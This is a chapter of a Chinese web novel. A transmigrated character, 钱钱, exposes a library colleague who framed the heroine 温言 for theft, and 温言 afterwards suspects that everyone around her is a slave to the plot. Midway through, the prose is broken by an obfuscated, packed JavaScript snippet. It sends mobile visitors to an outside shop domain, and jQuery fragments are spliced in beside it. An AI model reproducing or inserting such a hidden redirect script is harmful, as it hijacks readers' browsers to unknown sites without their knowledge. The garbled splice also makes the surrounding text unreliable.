温言心中一动，看向声音的方向。
钱钱身影挺拔，不卑不亢地上前一步。
王主任上下打量她：“你是？”
盛昭阳立刻跟上：“我朋友！怎么，说句话总可以吧？”
王主任看清盛昭阳，额头上的青筋又跳了两跳，A大最有名的两位刺头，这下子算是到齐了。他清了清嗓子：“……请说。”
“首先，”钱钱推了推不存在的眼镜，语气冷静地分析，“温言是环境科学系的高材生，前程大好。她会冒着被开除、甚至背案底的风险，在众目睽睽之下，偷一本她本就可以按规定申请阅览的珍本书吗？”
围观人群中，有人点了点头。
“第二，监控坏了这件事，温言这个兼职管理员知道，那么图书馆里全职的管理员——”她的目光落在眼镜男身上，“应该更清楚吧？”
眼镜男脸色微微一变，身体不自觉地往后挪了半步。
“第三，”钱钱的语气平静，但目光犀利，“这么大的图书馆，一本书刚丢就能被这位反应迅速的同事找出来，能力真是太强了。”她夸张地鼓了几下掌，微微偏头，嘴角弯起一个似笑非笑的弧度，“不过......怎么祝行野出现以后，你就一直偷偷往后挪呢？”
所有人的目光齐刷刷地转向眼镜男。
王主任的脸色沉了下来：“李铭？”
“李铭？”祝行野喃喃，看向眼镜男，忽然明白过来，“李铭！你就是之前一直骚扰温言的那个！”
王主任不再犹豫，立刻吩咐身边的人：“去查记录和监控！重点看后台通道！”
说罢，王主任背手离开，李铭的脸彻底白了，急忙追上去解释：“主任，主任——”
人群渐渐散去。盛昭阳凑到钱钱面前，丝毫不掩饰眼里的崇拜：“钱钱，你好聪明呀！”
钱钱得瑟地一甩头发：“那是——”
余光瞥见祝行野还站在原地，她收了收表情，语气凉飕飕的：“学着点，没锅硬背。”
“我……我是想解决问题。”祝行野底气不足地嘟囔。
钱钱翻了个白眼：“那你还愣着干嘛？”
“？”
“去跟进啊。”钱钱抬了抬下巴，“站这cos一根桩，能帮温言洗白还是怎么着？”
“哦哦哦！”祝行野恍惚，赶紧去追已经走远的王主任。
盛昭阳看着平日桀骜不驯的太子爷此刻气焰全无的背影，又凑过来：“钱钱，你好厉害呀！”
钱钱再次得瑟。
温言走过来，轻轻开口：“钱小姐，谢谢你。”
钱钱看着她，一时心情有些复杂，她对明明是学霸人设却好像毫无生存能力的女主很难生出好感，但也知道女主不过是作者左右脑互博制造的降智剧情受害者。
思及此，她在心中长叹一口气，摆摆手：“没事，别被烂人烂事影响心情。”
盛昭阳在旁边用力点头。
钱钱转过头盯着她，目光温柔：“热闹看够了？”
盛昭阳嘿嘿一笑，心虚地缩了缩脖子：“……我这就回去学习。”
两个人转身往回走。温言站在原地，看着二人的背影，盛昭阳眉飞色舞地在和钱钱分享着什么，钱钱无奈地看着她，有一搭没一搭地应着。
温言的目光渐渐沉下来。她想起了一些事情。
盛昭阳带着笑的侧颜与梦境中的记忆碎片重合。
明珠之心的宴会上，盛昭阳也是这样笑着，跌入泳池，眼底盛满恶意。被祝行野救上来以后，她期期艾艾地说是自己推了她。
很拙劣。温言不明白这位大小姐为什么处处和自己过不去，为了祝行野？但她凭什么觉得只要针对自己，祝行野就能爱上她？毫无逻辑，无法理解。
周围的人轻易地、默契地相信了盛昭阳，是更让人无法理解的事情。而祝行野——那个信誓旦旦说喜欢她的男人——只是皱着眉站在旁边，怀疑、猜忌，最后什么都没说。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509329|202930||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
最最吊诡的，是她感觉到那些人并非出于对盛昭阳家世的忌惮强行迎合，而是，真的，相信漏洞百出的这一切。
那天在宴会上，她一直紧绷着，等待达摩克利斯之剑落下。她心知肚明她无能为力，就像之前已经发生过的无数次。
但并没有。什么都没发生。那是第一次。
而今天……
“第二次了……”温言眼神幽深。
林小薇凑过来，一脸困惑：“什么第二次？”
温言看着她没有说话。林小薇是她实验室的同学，平日里与她形影不离。
“怎么了言言，你生气了吗？”林小薇被盯着有些不自然，她挤出一个抱歉的笑，“对不起啊，我刚刚懵掉了。”
温言笑起来：“没事的。”
林小薇松了口气：“那就好，我先回实验室啦。”
温言点点头，微笑目送她走远。
真的没事。
只是昨晚她又做梦了，熟悉的失控感。
那本古籍莫名其妙出现在她的书包里，李铭跳出来指控她，祝行野越帮越忙，没有监控，她无法自证清白，最后在一团乱麻中莫名其妙被坐实了“小偷”的罪名，而这一切，仅仅是她黑暗校园生活的开始，在后面那些走马灯似的被欺凌、被诅咒的碎片里，林小薇是无法忽视的、刺向她的利刃。
但她无法责怪她。温言目光沉静。
该说是悲哀还是有趣呢。温言扯了扯嘴角，麻木的情绪第一次产生一种久违的波动，她说不上是什么。
她望向钱钱，后者和盛昭阳又坐回到了位置上，阳光洒在她们身上。
真美好啊。
钱钱发现了吗？
温言这样想。
她很早就发现了，那是个不可言说的秘密——
在这场盛大的荒诞里，她们，他们......她周围的所有人......
都只是——
剧情的奴隶而已。